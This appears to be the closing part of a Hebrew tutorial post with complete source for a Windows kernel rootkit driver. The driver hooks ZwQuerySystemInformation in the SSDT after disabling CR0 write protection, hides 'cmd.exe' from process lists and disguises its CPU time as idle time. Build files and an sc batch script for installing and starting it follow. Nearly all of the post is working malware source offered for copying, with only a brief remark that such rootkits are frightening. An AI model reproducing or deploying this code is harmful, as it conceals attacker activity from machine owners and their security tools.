זהו הגענו לרגע האמת, השתדלתי לתאר את הקוד כמה שאפשר, למידע נוסף אני ממליץ מאוד על הספר
ספר מעולה בנושא , לאחר ההתקנה של ה WDK ניצור תיקייה חדשה בתיקיית src וניצור קובץ חדש בעזרת ה notepad , נעתיק את הקוד ונשמור אותו בסיומת c.
//copy and paste to your new folder inside the src directory
#include <ntddk.h>
//basic driver datatype
typedef unsigned long DWORD;
typedef unsigned short WORD;
typedef unsigned char BYTE;
#pragma pack(1)
//the structure of ServiceDescriptorEntry exported
//symbol of KeServiceDescriptorTable
typedef struct ServiceDescriptorEntry
{
//address to System Service Dispatch Table
DWORD *KiServiceTable;
DWORD *CounterBaseTable;
DWORD nSystemCalls;
DWORD *KiArgumentTable;
} SDE,*PSDE;
#pragma pack()
//symbol exported from ntoskrnl.dll
//exported symbol from ntoskrnl.exe
__declspec(dllimport) SDE KeServiceDescriptorTable;
PVOID *systemCallTable;
NTSYSAPI
NTSTATUS
//the orginal system call prototype
NTAPI ZwQuerySystemInformation
(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength
);
//save the address of the existing system call
typedef NTSTATUS (*ZwQuerySystemInformationPtr)
(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
//holding the original call
ZwQuerySystemInformationPtr oldZwQuerySystemInformation;
//process information structure
typedef struct _SYSTEM_PROCESS_INFO
{
//the next entry address
ULONG NextEntryOffset;
//number of threads used in process
ULONG NumberOfThreads;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriortiy;
HANDLE UniqueProcessId;
PVOID Reserved3;
//total number of handles used by this process
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
//maximum number of bytes used by this process
SIZE_T PeakPagefileUsage;
//number of memory page allocated for this process
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
}SYSTEM_PROCESS_INFO, *PSYSTEM_PROCESS_INFO;
//array of element for each processor
//handle system idles time
typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFO
{
LARGE_INTEGER IdleTime;
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER Reserved1[2];
ULONG Reserved2;
}SYSTEM_PROCESSOR_PERFORMANCE_INFO,*PSYSTEM_PROCESSOR_PERFORMANCE_INFO;
// * [part of system_information_class enum]
//#define SystemBasicInformation 0
//#define SystemPerformanceInformation 2
//#define SystemTimeOfDayInformation 3
#define SystemProcessInformation 5
#define SystemProcessorPerformanceInformation 8
//#define SystemInterruptInformation 23
//#define SystemExceptionInformation 33
//#define SystemRegistryQuoataInformation 37
//#define SystemLookasideInformation 45
LARGE_INTEGER timeHiddenUser;
LARGE_INTEGER timeHiddenKernel;
//implement the hook routine
NTSTATUS newZwQuerySystemInformation
(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;
PSYSTEM_PROCESS_INFO cSPI;
PSYSTEM_PROCESS_INFO pSPI;
//begin to call to orginal prototype for checking
//if ntStatus no equal NT_SUCESS quit
ntStatus = ((ZwQuerySystemInformationPtr)(oldZwQuerySystemInformation))
(
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength
);
if(!NT_SUCCESS(ntStatus)){ return (ntStatus);}
//check SystemInformationClass equal to SystemProcessorPerformanceInformation(8)
//if the query is SystemProcessorPerformanceInformation
//we need to update the system idle time
if(SystemInformationClass == SystemProcessorPerformanceInformation)
{
PSYSTEM_PROCESSOR_PERFORMANCE_INFO timeObject;
LONGLONG extraTime;
timeObject = (PSYSTEM_PROCESSOR_PERFORMANCE_INFO)SystemInformation;
extraTime = timeHiddenUser.QuadPart + timeHiddenKernel.QuadPart;
(*timeObject).IdleTime.QuadPart = (*timeObject).IdleTime.QuadPart + extraTime;
}
//checking if the call not equal to SystemProcessInformation, and exit
if(SystemInformationClass != SystemProcessInformation){ return (ntStatus);}
//getting the SystemInformation
cSPI = (PSYSTEM_PROCESS_INFO)SystemInformation;
pSPI = NULL;
while(cSPI != NULL)
{
//if process name is null this is the
//Idle Process we add the hidden process Kernel/User times
if((*cSPI).ProcessName.Buffer == NULL)
{
(*cSPI).UserTime.QuadPart = (*cSPI).UserTime.QuadPart + timeHiddenUser.QuadPart;
(*cSPI).KernelTime.QuadPart = (*cSPI).KernelTime.QuadPart + timeHiddenKernel.QuadPart;
timeHiddenUser.QuadPart = 0;
timeHiddenKernel.QuadPart = 0;
}
else
{
if(memcmp((*cSPI).ProcessName.Buffer,L"cmd.exe",10)==0)
{
//get the time of the hidden process and save it
timeHiddenUser.QuadPart = timeHiddenUser.QuadPart + (*cSPI).UserTime.QuadPart;
timeHiddenKernel.QuadPart = timeHiddenKernel.QuadPart + (*cSPI).KernelTime.QuadPart;
if(pSPI != NULL)
{
if((*cSPI).NextEntryOffset == 0)
{
//this is the last element in the array
(*pSPI).NextEntryOffset = 0;
}
else
{
//rewirte the previous SPI
//entryoffset to point to the next
//element after the hidden process
(*pSPI).NextEntryOffset = (*pSPI).NextEntryOffset + (*cSPI).NextEntryOffset;
}
}
else
{
//if the first element in the array
//that we need to hidden increase the pointer
//to the next element
(BYTE *)SystemInformation = ((BYTE*)SystemInformation) + (*cSPI).NextEntryOffset;
}
}
}
//set the current entry to hold in the
//previous entry
pSPI = cSPI;
//move to the next element in the array
//setting null if is the last item in the array
if((*cSPI).NextEntryOffset != 0)
{
(BYTE *)cSPI = ((BYTE *)cSPI) + (*cSPI).NextEntryOffset;
}
else{cSPI = NULL;}
}
}
//return the system call index number
//from the SSDT table
DWORD getSSDTIndex(BYTE * address)
{
BYTE* addressOfIndex;
DWORD indexValue;
addressOfIndex = address +1;
indexValue = *((PULONG)addressOfIndex);
return (indexValue);
}
//make the hook to SSDT sending the orignal call address
//sending the hook call pointer export the system call number
//update the SSDT function address by the index
//in the table and change the function address
//to the new hook function
BYTE * hookSSDT(BYTE* apiCall,BYTE* oldAddr, DWORD* callTable)
{
PLONG target;
DWORD indexValue;
//get system call number by apiCall pointer
indexValue = getSSDTIndex(apiCall);
target = (PLONG) &(callTable[indexValue]);
//sets a 32-bit variable to the specified value as an atomic operation.
//send pointer to the value and new value
//lock free algorithms, exclusive access
return ((BYTE*)InterlockedExchange(target,(LONG)oldAddr));
}
//unhooking the SSDT sending the orignal call address
//sending the orignal call pointer export the system call number
//update the SSDT function address by the index
//in the table and change the function address
//to the orignal call function
void unHookSSDT(BYTE* apiCall,BYTE* newAddr, DWORD* callTable)
{
PLONG target;
DWORD indexValue;
//send ZwQuerySystemInformation , as the system call number
indexValue = getSSDTIndex(apiCall);
target = (PLONG) &(callTable[indexValue]);
//sets a 32-bit variable to the specified value as an atomic operation.
//send pointer to the value and new value lock free algorithms, exclusive access
InterlockedExchange(target,(LONG)newAddr);
}
//enable CPU to access read only pages
void enableWP_CR0()
{
__asm
{
PUSH EBX
//save EBX
MOV EBX,CR0
//put CR0 value inside eax
OR EBX,0x00010000
//enable wp bit
MOV CR0,EBX
// update CR0 with EBX value
POP EBX
}
return;
}
//disable CPU to access read only pages
void disableWP_CR0()
{
__asm
{
PUSH EBX
//save EBX
MOV EBX,CR0
//put CR0 value inside eax
AND EBX,0xFFFEFFFF
//Disable wp bit
MOV CR0,EBX
// update CR0 with EBX value
POP EBX
}
return;
}
//unload the hook and return to normal
//enable write protected to SSDT
VOID Unload(IN PDRIVER_OBJECT DriverObject)
{
unHookSSDT
(
(BYTE*)ZwQuerySystemInformation,
(BYTE*)oldZwQuerySystemInformation,
(DWORD*)systemCallTable
);
enableWP_CR0();
return;
}
//the main driver entry
NTSTATUS DriverEntry
(
IN PDRIVER_OBJECT pDriverObject,
IN PUNICODE_STRING theRegisteryPath
)
{
//set DriverUnload function pointer
(*pDriverObject).DriverUnload = Unload;
//disable the write protected of SSDT
disableWP_CR0();
//getting the SSDT address
systemCallTable = (BYTE*)KeServiceDescriptorTable.KiServiceTable;
//hooking the SSDT send the systemCallTable
//(holding the SSDT address)
oldZwQuerySystemInformation = (ZwQuerySystemInformationPtr)hookSSDT
(
//the address of the original call
(BYTE*)ZwQuerySystemInformation,
//the address of the original call address
(BYTE*)newZwQuerySystemInformation,
//the SSDT table return from the export symbol
//KeServiceDescriptorTable.KiServiceTable
(DWORD*)systemCallTable
);
return STATUS_SUCCESS;
}
לאחר Build בעזרת ה WDK נוצרה לנו תיקיית I386 שבתוכה יש את הקובץ הבינארי בסיומת sys שאותו נתקין בעזרת
קובץ אצווה (Batch File), ניצור קובץ חדש ב Notepad ,נרשום בו את השורות הבאות ונשמור אותו בסיומת bat:
sc create mydriver type= filesys binPath= C:\WinDDK\7600.16385.1\src\MDL3\i386\srv3.sys
sc start mydriver
pause
sc stop mydriver
sc delete mydriver
pause
למי שלא מכיר את סביבת ה WDK לאחר ההתקנה יש ליצור תיקייה חדשה בתיקיית src וליצור 2 קבצים ללא סיומת הראשון הוא source שבו נגדיר את קובץ שאליו העתקנו את הקוד של ה Rootkit לדוגמה:
TARGETNAME=srv3
TARGETPATH=.
TARGETTYPE=DRIVER
SOURCES=kmd.c
INCLUDES=.
MSC_WARNING_LEVEL=/W0
הקובץ השני נקרא Makefile שהוא קובץ שכל Driver בסביבת WDK צריך לירוש, נעתיק אליו את השורה ונשמור אותו:
!INCLUDE $(NTMAKEENV)\makefile.def
סיכום:
אין ספק ש Rootkit הוא אחד הדברים המפחידים בתחום אבטחת המידע, היכולת להחזיר מידע כוזב למשתמש עלולה להביא לסכנת חיים ממשית ובעתיד נראה יותר ויותר Rootkit מתוחכמים , אין ספק שבניית Rootkit הוא עסק מורכב מאוד בסביבת ה Kernel וצריך לבצע מחקר רציני בהנדסה לאחור על מנת למצוא את החולשה המתאימה עבור ה Rootkit , אבל אל תשכחו שמול ה RootKit עומד אנטי וירוס וגם הוא מסתובב לו ב Kernel בשביל לחפש דברים מהסוג הזה.
קצת מפחיד לא?